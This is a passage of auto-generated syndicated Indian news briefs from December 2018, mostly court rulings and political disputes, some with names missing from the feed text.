reasonable restrictions. According to the original schedule submitted by the BJP, Shah was to launch the campaign-- 'Save Democracy Rally' from Cooch Behar district on December 7, from Kakdwip in South 24 Parganas on December 9 and from Tarapith temple in Birbhum on December 14. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi High Court Thursday asked the police not to take any coercive steps against Air India pilot Arvind Kathpalia, accused of violating aircraft rules, including evading breath analyser test, and forgery. Justice Mukta Gupta asked Kathpalia, who was present in the court, to join the Delhi police probe and appear before the investigating officer Friday morning. Kathpalia was removed as director of operations of Air India last month after failing to clear the pre-flight alcohol test, with the government citing "serious nature of the transgression and (his) failure to course correct". The court granted the interim relief to the pilot till the next date of hearing -- January 22. The court was hearing the anticipatory bail plea of the pilot who has been apprehending arrest in the case lodged against him on the direction of a lower court in which he is also accused of tampering with evidence, criminal conspiracy and intimidating a doctor working with the airline in January 2017. Kathpalia, who also addressed the court, said it cannot be presumed that just because he missed the breath analyser test, he was intoxicated. He claimed he could not take the test as he was at work the whole day and was getting late for the flight. He added that he voluntarily went for the post-flight breath analyser test after returning from Bengaluru, in good faith but the doctor on duty refused to administer the test and only asked him to sign on a register. He also told the court that since the time of registration of FIR in August, he has never been asked by the police to join the investigation and his version has not come on record. "As per the allegations, the test reading of the pilot is alleged to have gone up from the first reading to the second reading after a gap of 20 minutes which is contrary to medical science and thus establishes his false implication," he said in the plea filed through advocates Rajiv Mohan and Abhimanyu Kampani. When the court asked if there was any positive evidence to assert that Kathpalia evaded the test before piloting the flight to Bengaluru because he was intoxicated, the Delhi Police answered in negative. "Then it is all a presumption. Prosecution should have a positive evidence (to support their conclusion)," the judge said. The high court had on December 13 issued notice to the police on the plea and had observed that the pilot's actions cannot be called a mistake as they put at risk the lives of many and people like him are not worth being permitted to operate flights. According to the police, Kathpalia operated a flight from New Delhi to Bengaluru without undergoing the mandatory pre-flight breath analyser test on January 19, 2017. Further, even at Bengaluru he refused to undergo a similar test. Later, on his arrival in New Delhi, he allegedly went to Pre-Flight Medical Examination Room and made a false entry in the Pre-Flight Breath Analyzer Examination Register for the flight he had operated. The counsel for Kathpalia had claimed that it was a false complaint made against him by the Indian Pilots Commercial Association and his career of over 30 years has been impacted. The Delhi Police has opposed his anticipatory bail plea saying it was not a normal case of forgery as the consequences were grave and he also threatened the doctor on duty. A trial court had earlier directed the police to lodge the FIR for alleged violation of aircraft rules, tampering with evidence and intimidating a doctor working with Air India in January 2017. Police had alleged that Kathpalia has also issued threats and intimidated Nitin Seth, doctor on duty, with a view to coerce him to retract his statement given in inquiry conducted by aviation regulator DGCA, where he had alleged that the Captain had manipulated the record in the register. It was also alleged that there was violation of aircraft rules apart from tampering of evidence, coercive intimidation. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The High Court on Thursday asked the city police to provide protection to social activist who had registered two police complaints against members of the (BJP) for allegedly attacking him here and in Pakur district of Justice Najmi Wajiri sought response of the Centre, government and police on Agnivesh's plea seeking transfer of the case from police to the CBI or any other central independent investigating agency. The high court put up the matter for further hearing on February 27 next year. Agnivesh, in his plea, claimed that the state government and the police are not conducting a proper investigation in accordance with the law, "evidencing that they are either not serious about bringing the perpetrators of these heinous criminal acts to book or are deliberately trying to save and shield them". "BJP, being the ruling party in the Centre has totally subverted the process of law in collusion with state government and police, thereby ruling out the possibility of any free and fair investigation in the case," the plea, filed through advocate Mehmood Pracha, alleged. It alleged that "false propaganda with purely political motives of dividing the country on the lines of caste and religion" drew support from incidents like the attacks on him. The plea said that since he has been attacked at two places, thousand of miles away from each other, clearly indicated that the threat to his life exists all over the country and thus he required round the clock police protection in order to ensure safety of his life and property. On July 17, the activist was on his way to Litipara area in Pakur district of to participate in an event organised by the Pahariya tribal community when he was attacked allegedly by some BJP youth wing supporters. A month later on August 17, Agnivesh was allegedly heckled and assaulted near the in Delhi, when he was on his way to pay homage to former prime minister there. He had alleged that the attackers were BJP workers. The had earlier refused to order a CBI probe into the matter, saying the state police was already investigating the matter. The top court had, however, granted liberty to Agnivesh to make a representation to the competent authority for providing security. The Allahabad High Court Thursday directed the government to file a status report of the investigation into a recent mob violence in which a police inspector and a youth were killed. On December 3, Inspector Subodh Kumar Singh and the youth were attacked and killed in Bulandshahar by a mob, which was protesting against an alleged cow slaughter in the area. Hearing a petition filed by Shikhar Agarwal alias Shikhar Kumar, who was accused in the Bulandshahar violence case, a division bench of justices Ram Surat Ram Maurya and Anil Kumar directed the UP government to file a reply in response to the contentions raised by the petitioner. The court has fixed January 18 as the next date of hearing in the matter. The petitioner said he is a medical student and alleged that instead of investigating the matter, local policemen were harassing his family. Hence, he requested the court to direct transfer investigation of the Bulandshahar riot from the local police to some other agency in the interest of justice. However, opposing the petition, the state counsel contended that a Special Investigation Team (SIT) has been set up to investigate the riot. Further, magisterial inquiry is also going on in the violence, the counsel said. The counsel contended that the petitioner is named in the Bulanshahar riot case and is not cooperating in the investigation. The Kerala High Court Thursday declined to grant police protection to controversial Malayalam actress Leena Maria Paul who had alleged imminent threat to her life following the recent attack on a beauty parlour run by her in the city. On December 18, Leena had moved the court seeking a direction to police to provide her security, days after two men allegedly fired shots at the parlour. When the petition by the actress came up before the division bench of Justices P R Ramachandra Menon and N Anil Kumar, the Kerala government informed there were three cases pending against her and they were gathering further details. The government said she had the liberty to have private security, if required, which the court did not object. The petitioner also approved the government's decision. Refusing to grant police protection to the actress, the bench said the police can proceed its investigation if any case was pending against the petitioner. The police then said a probe into the shooting incident, which occurred last week, was progressing. In her petition, Leena had submitted that she was willing to bear the expenses involved in providing her police protection. The actress had alleged that she received Internet threat calls on her mobile phone, demanding Rs 25 crore on November 3 under instructions from notorious gangster Ravi Pujari. The caller had threatened to kill the actress if the money was not paid. The threat calls were made on subsequent dates also, she submitted. On December 10, police had approached her to enquire about the calls, she had said. On December 15, the attackers, wearing full face helmets, came to the parlour in Panampilly Nagar at around 3 pm and fired two shots before speeding away, police said. Leena has acted in Bollywood film 'Madras Cafe', Tamil flick 'Biriyani' and Malayalam films 'Husbands in Goa' and 'Red Chillies'. The actress was an accused in a bank fraud case and was associated with alleged conman Sukesh Chandrashekhar, now in Tihar jail in a matter related to a bid to bribe the Election Commission, involving Amma Makkal Munnetra Kazhagam leader and R K Nagar MLA T T V Dinakaran. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The High Court Thursday restrained the police from taking coercive steps against Arvind Kathpalia, accused of violating aircraft rules, including evading breath analyser test, and forgery. Kathpalia appeared before Justice Mukta Gupta where the court asked him to join the police probe and appear before investigating officer Friday morning. Kathpalia was removed as director of operations of last month after failing to clear pre-flight alcohol test, with the government citing "serious nature of the transgression and (his) failure to course correct". The Delhi High Court is scheduled to pronounce on Friday its verdict on a plea by Associated Journals Ltd (AJL), publisher of National Herald, which has challenged Centre's order ending its 56-year-old lease asking it to vacate the premises at ITO here. Justice Sunil Gaur, who was hearing the matter, had reserved his decision on November 22 on AJL's plea against the government's October 30 notice. The court on the last date had asked the Centre what was the justification to re-enter the premises now when publication of National Herald has commenced. The Centre and the Land and Development Office (L&DO) had told the court that re-entry notice was issued as it had initiated the proceedings back in 2016 when no printing or publishing activity was going on. All the procedures have been followed to the hilt before issuing the notice for re-entry to AJL, it had said. "Procedure may have been followed, but by the time re-entry notice was issued, they were running a newspaper," the court had said. AJL had opposed the Centre's stand, saying that publication of web editions began in 2016 and the issue of absence of printing press in the premises was not raised then. It had said the government kept silent till April 2018 when it again sent a notice for inspection and in which it had said that it was coming to check breaches mentioned in notice of October 10, 2016. AJL had also argued that several major papers carry out printing elsewhere. While reserving judgement, the court had said that the government cannot straightaway throw out AJL without first proceeding under the Public Premises (Eviction of Unauthorized Occupants) Act, 1971. The court had earlier asked the government to maintain status quo with regard to enforcement of the October 30 order. The Centre had, during arguments, contended that transfer of 98 per cent stake in AJL to Young Indian (YI) when the latter bought the former's Rs 90 crore debt for a consideration of Rs 50 lakh, led to a "virtual" sale of the Herald building. In its petition, the AJL has alleged that the proceedings by the ministry were being initiated for the purposes of "scuttling the voices of dissent" and the voice of the largest opposition party in the country, a reference to the Congress. Without naming the BJP, the AJL has further alleged that the order issued under pressure and directives from the ruling party at the Centre is vitiated by mala fide, bias and had "oblique political motives". The L&DO, which comes under the ministry, had ended the lease -- entered into with AJL on August 2, 1962 and made perpetual on January 10, 1967 -- asking the company to hand over the possession by November 15. The L&DO's order had also said that failure to hand over possession would lead to initiation of proceedings under the Public Premises Act. In its plea, AJL has also said that the digital versions of English newspaper National Herald, Hindi's Navjivan and Urdu's Qaumi Awaz have commenced since 2016-17. The weekly newspaper 'National Herald on Sunday' resumed on September 24 last year and the place of publication was the ITO premises, AJL had said, adding that the Hindi weekly newspaper Sunday Navjivan was also being published since October this year from the same premises. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi Police on Thursday told the Delhi High Court that the CCTV cameras it plans to install in vulnerable areas of the city will record hi-definition videos and will have facial recognition and number plate identification features. Taking note of the submission, the High Court directed the police to ensure that CCTV cameras are procured and installed in the 44 vulnerable areas within one year as against the time line of 18 months given by the law enforcement agency. A bench of justices Sanjiv Khanna and A J Bhambani asked the Delhi Police to simultaneously carry out steps of floating tenders for procurement of cameras and getting necessary approvals from land owning agencies to install them, so that overall time required for the project is reduced. "You (police) have to expedite the procurement process. We hope the entire process would be completed in a much shorter period, preferably one year," the court said. The suggestion from the bench came after the police, represented by Delhi government standing counsel Rahul Mehra and additional standing counsel Rajesh Mahajan, told the court that it would take 18 months to install around 6,500 to 7,000 cameras in 44 vulnerable locations in the city. They also told the court that these cameras would be of the latest technology having hi-definition video capture capability with facial recognition and number plate identification features and would cost around Rs 404 crore. By comparison, the 1.4 lakh closed circuit television (CCTV) cameras that the Delhi government proposes to install across the national capital would cost Rs 550 crore as they would not be of such high specifications, Mehra told the court. He also said that the cameras to be installed in vulnerable areas would not have audio recording facility and all video data recorded would be wirelessly sent to a centralised location and stored there. The bench, thereafter, asked the Delhi Police to file a status report by the next date of hearing indicating progress in installing CCTV cameras in vulnerable areas and police stations in the city. The Delhi government was asked to file a status report on the issue of lighting up the dark and vulnerable areas of the national capital and listed the matter for further hearing on February 15. The court was hearing a PIL initiated by it in 2012 after the horrific December 16, 2012 gang rape of a young woman in a moving bus. The woman later succumbed to the injuries. Apart from that, the court was also hearing a plea by social activist Ajay Gautam alleging that there have been several deaths inside police stations in the city this year and the presence of functional CCTVs could act as a deterrent. In both the matters, the court has been from time to time issuing directions with regard to increasing the number of police officers in the city, installation of CCTV cameras in police stations as well as vulnerable or crime prone areas, reducing delay in testing of samples in FSLs and ensuring speedy disbursal of compensation to victims of sexual assault. Last week it had directed the Delhi government and the police to abide by the respective timelines given by them for filling up vacant posts in FSLs and installing CCTV cameras in police stations. On the last date, police had told the court that cameras have been installed and are functional in 91 of its stations. In 54 police stations, CCTVs would be installed by December 15 while in the remaining 57 police stations and 53 police posts, the work would be completed by January 15, the court was told. The bench, thereafter, had asked the Delhi Police Commissioner to ensure the timeline indicated is adhered to. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Ministry of Information and Broadcasting has requested the Press Council of India to issue necessary directives to all print media, and also urged film production houses, to place an effective mechanism for addressing complaints of sexual harassment at workplace. This was stated by Information and Broadcasting Minister Rajyavardhan Rathore in a written reply in Lok Sabha to a question on the action taken by the ministry over the the National Commission for Women (NCW) requesting it to direct print, publication and production houses to form an internal panel to probe complaints of sexual harassment at workplace. The NCW had in October urged the ministry to direct print, publication and production houses to form an internal committee to probe complaints of sexual harassment at workplace after the women rights body received a number of such complaints against persons in both traditional print organisations as well as digital media. The NCW's move had come amid the '#MeToo' movement that began in India with actor Tanushree Dutta accusing veteran actor Nana Patekar of harassing her during shooting of a film in 2008. The charge has been denied by Patekar. To another question on whether the government has issued directives to social media platforms to establish mechanisms to remove illegal content, Rathore said: "The Ministry of Electronics & Information Technology has informed that the Information Technology (IT) Act, 2000 and the rules therein...mandate intermediary platforms, including social media sites, to establish a mechanism to remove illegal contents failing which they may lose their immunity and become liable for punishment. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Senior Congress leader M Veerappa Moily Thursday accused Indian Air Force chief B S Dhanoa of "lying" a day after the latter called the Rafale deal a "game changer" and the Supreme Court verdict on it a "very fine" judgement. He also demanded that Prime Minister Narendra Modi apologise for having sacrificed the security of the nation by entering into the deal. Moily said the IAF chief along with the head of Dassault Aviation, the manufacturers of Rafale fighter jets, had visited public sector HAL's Bengaluru headquarters days before the Paris agreement and found it a "competent body with necessary expertise". "Today, to say it is fine (the SC judgement)...I think that IAF chief is not fine....he is not fine, he is lying. He is suppressing the truth. He is a party to suppressing the truth," Moily told reporters here. Later, talking to a TV channel, Moily said, "Apology has to be given by Narendra Modi for having sacrificed the security of the nation, having sacrificed the exchequer." He said Congress president Rahul Gandhi, who has been assailing the prime minister over the deal, need not apologise for the "bold stand" he has taken on the "scam of the century". Instead, Gandhi should be appreciated, he said. The BJP has been demanding an apology from Gandhi for attacking Modi over the Rafale deal even after the Supreme Court's verdict which found no wrongdoing in it. "Even the words expressed by the Supreme Court you have heard is based on falsehood and web of lies made by the government of India," he said. Moily said Modi gave a "certificate of incompetency" to HAL. Dhanoa had on Wednesday hailed the SC order and deprecated attempts at politicising defence purchases, suggesting that this had earlier led to the delay in the Army acquiring the Bofors gun. "I am not going to comment on the judgment but the Supreme Court has given a very fine judgment. It has also said that this plane is badly needed," he had told reporters in Jodhpur. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pakistan Prime Minister Imran Khan on Thursday urged UN Secretary General Antonio Guterres to take the notice of the alleged human rights violations in Kashmir. During a telephonic conversation with Guterres, Khan "underscored (the) UN's role to end these violations", Dawn reported, citing a statement issued by the prime minister's office. Khan's call to the UN chief comes days after he condemned the killing of seven civilians in Kashmir's Pulwama and threatened to raise the issue at the UN. Separately, the federal Cabinet in its meeting condemned the presidential rule in Kashmir. Information Minister Fawad Chaudhry said the Cabinet meeting was held in Islamabad with Prime Minister Khan in chair. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Thursday strongly rejected Pakistan's claim of ownership of the in and said the property belongs to it. " has no locus standi as far as this property is concerned. It is a government of India's property and we are in the process of renovating it," Spokesperson said. The on Malabar Hill in was designed by architect Claude Batley in European style and Pakistan's founder lived there in the late 1930s. has been demanding that the property be handed over to it for housing its consulate. Kumar said the government is considering putting the into use on the lines of the Hyderabad House here. The government uses the Hyderabad House for holding meetings and hosting banquets for foreign dignitaries. The MEA spokesperson's comments came on a day asserted that the Jinnah House belonged to it and any attempt by to take the building under its control will not be accepted. "We have a claim over it (Jinnah House) and we do not accept that anyone tries to take custody of it. They (Indians) have already accepted that it belongs to Pakistan. We have record of it. They (Indians) have accepted that it belong to Pakistan," Pakistan Foreign Office spokesperson Mohammad Faisal said in Islamabad. Pakistan's claim over the property came days after External Affairs Minister Sushma Swaraj, in a letter to Mumbai city BJP legislator Mangal Prabhat Lodha, said the government was in the process of renovating the Jinnah House. Jinnah's daughter had in August 2007 approached the claiming that being the sole legal heir of Jinnah, she should get the possession of the house. After her death, her son and chairman Nusli Neville Wadia is carrying on the litigation. Asked about the court case initiated by Dina Wadia, Kumar said, "It has nothing to do with who is contesting. This property belongs to government of India," adding the nationality of the petitioner is not in question. India is sending three senior officials as election observers to Bangladesh for the upcoming polls in that country, the Ministry of External Affairs said Thursday. The officials are being sent following an invitation from the Election Commission of Bangladesh, MEA Spokesperson Raveesh Kumar said. The general elections will be held in Bangladesh on December 30. Bangladesh has requested several other countries also to send observers to witness the elections "We are sending three senior officials who have been designated by the Chief Election Commissioner," Kumar said during a media briefing. The Indian officials will be in Bangladesh from December 28-31. "As far as election is concerned, we do feel that this is an internal matter of Bangladesh. We respect the functioning of democracy in Bangladesh," Kumar said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The pharmaceutical industry would deliberate on various issues related to generic drugs and medical devices at 70th edition of Indian Pharmaceutical Congress (IPC) at Amity University, Noida, from December 21-23. The event will see 125 speakers and organisers expect around 6,000 delegates this year from all the sections of the pharma fraternity from India as well as abroad. "For the past 70 years, the meeting of minds at each edition of IPC has played a significant role in what we have achieved today," Organising Secretary of local organising committe of the event Atul Nasa told reporters here. The discourses at the event will not only bring broad consensus across industry but also will help the industry map the way ahead, he added. He added that over the three days industry stakeholders would deliberate upon important topics retaled to APIs, generic formulations, diagnostics and medical devices and biosimilars. Other key issues that would be discussed include the need for adequate regulatory framework to support investment on innovative products and expedite pre-clinical research launch of new drugs, the orgnisers said. The event will be inaugurated by Vice President M Venkaiah Naidu. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Investigations into the allegations of bribery against CBI Special Director Rakesh Asthana and DSP Devender Kumar must continue and their pleas for quashing the FIR against them should be dismissed, the probe agency told the Delhi High Court Wednesday. Advancing arguments before Justice Najmi Waziri, Additional Solicitor General Vikramjit Banerjee, representing the CBI, said there was no merit in the petitions of the two officers and the agency was bound to probe the matter thoroughly. The court reserved its verdict on various petitions after hearing submissions of the counsels for CBI, the Centre, Asthana, Kumar, CBI director Alok Kumar Verma and Joint Director A K Sharma. The ASG said that as per the law, in case of a cognisable offence, an FIR has to be lodged and the credibility of the evidence has to be tested by the investigating officer during the investigation. Senior advocate Amit Sibal, representing Verma, maintained that all mandatory procedures of law were followed while registering an FIR against Asthana on bribery allegations. Advocate M A Niyazi, appearing for Sharma, argued that the FIR was not lodged exclusively under the Prevention of Corruption Act and the provisions of IPC, including, forgery, extortion and criminal conspiracy, which means sanction to prosecute the government official was not of much importance. He added that the allegation of FIR being antedated would be dealt with in the trial court and the investigation was at a nascent stage and it was not a proper stage to ask for quashing of the FIR. Complainant and Hyderabad-based businessman Sathish Babu Sana, who had alleged to have paid bribe to get relief in a case, did not press for his plea seeking to be impleaded as a party in the case. He said he would cooperate with the agency whenever called and has joined the investigation thrice. Senior advocates Amrendra Sharan and Dayan Krishnan, appearing for Asthana and Kumar respectively, argued that the FIR was antedated and it reached the magistrate 52 hours after registration, whereas, as per law it should be placed before the magistrate within 24 hours. They contended that there was no allegation of demand and acceptance of illegal gratification against Asthana and he cannot be made an accused for the alleged offence under the PC Act. ASG Maninder Acharya, appearing for the Centre, had said that ordinarily it is required to take prior sanction to prosecute a public servant but as this matter was not referred or brought before the government, she cannot say anything. The court also extended till the next date its interim order directing the CBI to maintain status quo regarding proceedings against Asthana. Kumar was granted bail on October 31. Verma has said in the affidavit there was sufficient incriminating documents and evidence against all accused -- Asthana, Kumar and middleman Manoj Prasad -- with the CBI and the FIR was lodged after the PE disclosed cognisable offences. It has claimed that Asthana's plea is misconceived, premature and not maintainable as investigation in the matter is at a nascent stage. The Supreme Court had reserved judgement on Verma's plea, challenging the Centre's decision to divest him of all powers and sending him on leave. Kumar, earlier the investigating officer in a case involving meat exporter Moin Qureshi, was arrested on the allegations of forgery in recording the statement of Sana who had alleged to have paid bribe to get relief in the case. Sana, on whose complaint the FIR was lodged, had also made allegations of corruption, extortion, high-handedness and serious malpractices against Asthana. Additional Superintendent of Police S S Gurm has also filed a similar plea in the court to be impleaded as a party. The court is yet to decide both the pleas. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Delhi court Thursday granted interim bail till January 19 to RJD president Lalu Prasad in two Indian Railway Catering and Tourism Corporation (IRCTC) scam cases filed by the CBI and the ED. Special Judge Arun Bharadwaj granted relief to Prasad after he was produced before the court through video conference from a Ranchi jail, where he is lodged in another case, as he was unable to come due to health reasons. The court directed both the Central Bureau of Investigation (CBI) and the Enforcement Directorate (ED) to file their replies to Prasad's application seeking regular bail in both the cases. The cases relate to alleged irregularities in granting operational contract of two IRCTC hotels to a private firm. The court had earlier granted regular bail to Prasad's wife Rabri Devi and son Tejashwi Yadav in the CBI case, while they are on interim bail in the ED matter, which was extended till January 19, the next date of hearing. In its charge sheet, the CBI had said there was enough evidence against Prasad, Rabri, Tejashwi and other accused, including Additional Member of Railway Board B K Agarwal, who was then the group general manager of the IRCTC. Besides them, former Union minister Prem Chand Gupta, his wife Sarla Gupta, then managing director of IRCTC P K Goyal and then IRCTC director Rakesh Saxena are also named as accused in the charge sheet. Among others named in the charge sheet are -- then group general managers of IRCTC V K Asthana and R K Goyal and Vijay Kochhar, Vinay Kochhar, both directors of Sujata Hotels and owners of Chanakya Hotel. Delight Marketing Company, now known as Lara Projects, and Sujata Hotels Private Limited have also been named as accused firms in the charge sheet. The CBI had registered a case in July last year and carried out searches at 12 locations in Patna, Ranchi, Bhubaneswar and Gurgaon in connection with the case. The charges in the case include criminal conspiracy, cheating and corruption, the CBI had said. According to the charge sheet, between 2004 and 2014, a conspiracy was hatched in pursuance of which BNR hotels of the Indian Railways, located at Puri and Ranchi, were first transferred to the IRCTC and later, for its operations, maintenance and upkeep, it was given on lease to Sujata Hotel Private Limited, which is based in Patna, Bihar. It is alleged that the tender process was rigged and manipulated and the conditions were tweaked to help the private party - Sujata Hotels. It also claimed that on February 25, 2005 Vinay Kochhar sold commercial property in the form of three acres of land in Patna through 10 sale deeds for Rs 1.47 crore to Delight Marketing, in which Sarla Gupta was a director as a front benami holder on behalf of Prasad. Between 2010 and 2014, this land was further transferred, the CBI alleged. In 2001, it was decided to handover the management of catering services of the Indian Railways, including of its hotels, to the IRCTC. Two such hotels -- BNR Hotels in Ranchi and Puri -- were also identified and a memorandum of understanding (MoU) was signed between the railways and the IRCTC on March 19, 2004. According to an FIR flied by the CBI, Prasad, the then railway minister, entered into criminal conspiracy with the owner of Sujata hotels, Sarla Gupta, the wife of his close associate Prem Chand Gupta, an Rashtriya Janata Dal (RJD) MP in the Rajya Sabha, and IRCTC officials for "undue pecuniary advantage to himself and others". The probe agency also alleged that BNR hotels were transferred to Sujata Hotels through a "rigged and manipulated" tender process managed by P K Goyal, the then managing director of the IRCTC. The CBI enquiry shows that the railways sought bids for developing, operating and maintaining Rail Ratna Hotels on September 16, 2006. The probe agency has alleged that Prasad was aware about the whole process and was keeping a track of the tender proceedings. It surfaced that while over 15 bid documents were received for both the hotels, the IRCTC had no records of bidders other than Sujata Hotels. It was also alleged that with an intention to render undue pecuniary gains to Sujata Hotels, the bid of another hotel was deliberately and unreasonably given low marks under technical evaluation. "As a result, Sujata Hotels remained the only bidder in financial evaluation and was qualified," the CBI had alleged, adding that after the tender was awarded to Sujata Hotels, the ownership of Delight Marketing also changed hands from Sarla Gupta to Rabri and Tejashwi between 2010 and 2014. By this time, Prasad had demitted the office of railway minister. He became Bihar's chief minister in 1990, but had to resign in 1997 following corruption charges in the multi-crore rupees fodder scam. From 1997 to 2005 his wife Rabri ruled as the chief minister of the state and was replaced by JD(U) president Nitish Kumar. Prasad also served as Union Railways minister from 2004 to 2009. The RJD again came back to power after forging an alliance with its bitter rival Janata Dal (United), led by Kumar in 2015, and Tejashwi Yadav became the deputy chief minister. However, Kumar parted ways from the RJD in July last year marking the end of Tejashwi's tenure. Based on the CBI case, the ED also lodged a case of money laundering against Prasad, Rabri, Tejashwi and others. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Israel has urged a special session of the UN Security Council to condemn the Lebanese militant group Hezbollah and designate it a terrorist organization following the discovery of cross-border tunnels stretching into Israel. Following a stormy session, the council took no action on the Israeli request, though several members sided with Israel and expressed concerns over Hezbollah's violation of a UN Security Council resolution that ended a 2006 war between the bitter enemies. Israel has previously urged the UN's most powerful body to condemn Hezbollah, but has never succeeded because of divisions in the council, and there was no move Wednesday to circulate a draft resolution on the tunnels. A key reason for the lack of council action is that some members would insist that Israeli violations of the 2006 resolution also be included in a resolution. Early this month, Israel announced the discovery of what it said was a network of cross-border Hezbollah attack tunnels and launched an open-ended military operation to destroy them. It so far has exposed four tunnels that it says were to be used to infiltrate and attack Israeli towns and abduct Israeli civilians. Ahead of Wednesday's debate, Prime Minister Benjamin Netanyahu urged the council to condemn Hezbollah. "This is not merely an act of aggression. This is an act of war," Netanyahu said. "The people of Lebanon have to understand that Hezbollah is putting them in jeopardy and we expect Lebanon to take action against this." At the United Nations, Israeli Ambassador Danny Danon showed an aerial photograph of what Israel called a "private compound" near the border that concealed a tunnel. He also presented an aerial photo showing what he said were weapons-storage sites concealed in a border village. He said Israel had given the UN peacekeeping mission, known as UNIFIL, "precise information" about the tunnels that was shared with the Lebanese army. He accused the Lebanese army of then relaying the information to Hezbollah, allowing it to try to conceal the tunnels. "Lebanese army officials are working for Hezbollah, while UNIFIL is not working to fulfill its mandate in the region in the necessary manner," Danon said. The UN's peacekeeping chief, Jean-Pierre Lacroix, said UNIFIL had confirmed four tunnels, including two that cross the frontier into Israel. Calling them a "serious violation" of the 2006 cease-fire resolution, Lacroix said UNIFIL is "acting judiciously" to complete its investigation and to work with both sides to disable all tunnels that cross the border. "This is a matter of serious concern," he said. Lebanon's ambassador, Amal Mudallali, said her country took the matter seriously and remains committed to the cease-fire resolution. "This commitment is not rhetoric, and these are not mere words, because this commitment is in the interest of my country and my people," she said, adding that the Lebanese army is "deployed heavily" in the south to make sure the cease-fire is honored. But she also accused Israel of repeatedly violating the resolution by having its air force routinely fly through Lebanese skies. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Jammu and Kashmir governor administration Thursday called for expeditious implementation of the World Bank-funded projects to ensure timely and productive utilisation of resources for addressing infrastructure gaps in key sectors. "The Project Implementing Units (PIUs) should in coordination with the Project Management Unit (PMU) expedite project formulation, award of contracts and execution of works to meet the time-lines," Principal Secretary, Planning Development and Monitoring, Rohit Kansal said. He was speaking at a wrap-up meeting with the visiting World Bank Technical Mission Team, which concluded its three-day tour to the state Thursday. The World Bank Technical Mission Team headed by Deepak Singh comprised of Lead Disaster Risk Management Specialist, Hemant Karelia, Senior Disaster Risk Management Specialist, Heena Doshi, Operations Specialist Manzoor Khan, an official spokesman said. He said the meeting was informed that the World Bank has in 2016 sanctioned a loan of Rs 1,500 crore for infrastructure upgradation in health, housing and urban development, education, industries, disaster management and road connectivity sectors in the state. To expedite implementation of the World Bank and other externally funded projects, the governor administration last month approved merger of the Jhelum-Tawi Flood Recovery (JTFR) Project with the Economic Reconstruction Agency (ERA) to channelise multilateral funding through a single route and ensure better coordination under the overall administrative control of the Planning, Development and Monitoring Department, the spokesman said. Sharing their views on the basis of the field visits and interactions at various levels during their visit to the state, the World Bank team stressed the urgency of expediting project formulation and submission, building capacities of the executing agencies and addressing bottlenecks at various levels, he said. The spokesman said the team assured to look positively into the issue of modifying qualification criteria to enable the local bidders to participate in the execution of projects. The team informed that the World Bank will be inviting officers from PIUs in J&K to interact with the Bank executives in its New Delhi office so that they are abreast with the project formulation procedures, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Four jailed Catalan leaders have ended a hunger strike begun more than two weeks ago, their spokesman said Thursday. Jordi Sanchez, former spokesman for the regional Catalan government of Carles Puigdemont, and colleagues Jordi Turull, Josep Rull and Joaquim Forn began refusing food at the start of December at Lledoners prison north of Barcelona. They are being held on rebellion charges pending trial for their role in last year's referendum which saw the wealthy northeastern region try to break away from Spain. They embarked on the fast in protest at a Constitutional Court block of their attempted appeal against provisional detention. The trial of the jailed separatists is expected to begin in Spain's Supreme Court early next year. "The decision to stop their hunger strike was taken as they consider their objectives have been obtained -- that is (their situation) has been taken into account and shaken the Constitutional Court into responding to their appeals," their spokesman said in Barcelona. The Court has thrown out appeals against their detention and the suspension of some of those jailed from their posts as regional lawmakers. The quartet's spokesman said following that rejection the four will now take their case to the European Court of Human Rights. In all, 18 separatist lawmakers face a trial due to start in Madrid early next year. Prosecutors want a 25-year jail term for former Catalan regional vice-president Oriol Junqueras, also detained at Lledoners. Puigdemont, who fled to Belgium in October last year, is accused of rebellion but will not face trial in his absence. Spanish Prime Minister Pedro Sanchez will Friday hold a cabinet meeting in Barcelona amid tight security as Catalan pro-independence groups plan to protest and block roads. The meeting comes a year to the day after Madrid held snap elections in Catalonia after blocking the region's independence bid. Many separatists have called the timing of the meeting "a provocation". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Total 33.84 per cent voting was registered in the by-election to Jasdan Assembly segment in till noon on Thursday, election officials said. The bypoll has become a battle of prestige between the ruling BJP and opposition Congress in the wake of the latter winning the Assembly in three Hindi heartland states of Madhya Pradesh, Rajasthan and Chhatissgarh. The BJP has fielded Kunvarji Bavaliya, who had won the seat as a Congress MLA in 2017, but joined the saffron party after the polls. Bavaliya is pitted against Congress' Avsar Nakiya, a Rajkot district panchayat member. According to election commission officials, 78,546 voters or 33.84 per cent of the total voters cast their votes between 8 am and 12 noon. Voting passed off peacefully, without any reports of untoward incidents, they said. Both Bavaliya and Nakiya exercised their franchise in the morning. While Bavaliya cast his vote at a polling booth at Vinchhiya village, Nakiya did it in his native Asalpur village. A total of 19 candidates are in the fray in Jasdan, although the main contest is between Bavaliya and Nakiya. There are total 2.32 lakh voters in the constituency, of whom 1.22 lakh are men, while 1.09 lakh are women. The constituency falls under Rajkot district. Counting of votes will take place on December 23. The by-election was necessitated after Bavaliya, the sitting Congress MLA, resigned from the party and also as a legislator on July 2. On the same day, he was inducted as a cabinet minister in the BJP government in the state. To continue as minister, Bavaliya will have to get elected as MLA within six months of assuming the office. Jet Airways' board Thursday discussed ways to raise funds without taking an investor on board as chairman Naresh Goyal does not want to give up control in the loss-making carrier he set up 25 years ago, a source said. At an unscheduled board meeting at the airlines headquarters in Mumbai, which lasted for over four hours, various cost-reduction measures also came up for discussions, said the source. In the red for three consecutive quarters, Jet Airways has been gasping for funds to keep the airline afloat amid liquidity crunch. However, amid all this, rating agency Icra has downgraded Jet Airways' long-term rating for the second time in recent months and its largest lender SBI ordered for a "forensic" audit of the listed airline's books. "Goyal wants to retain the control in the airline. He wants to explore alternative route of capital infusion. He wants the management to find out 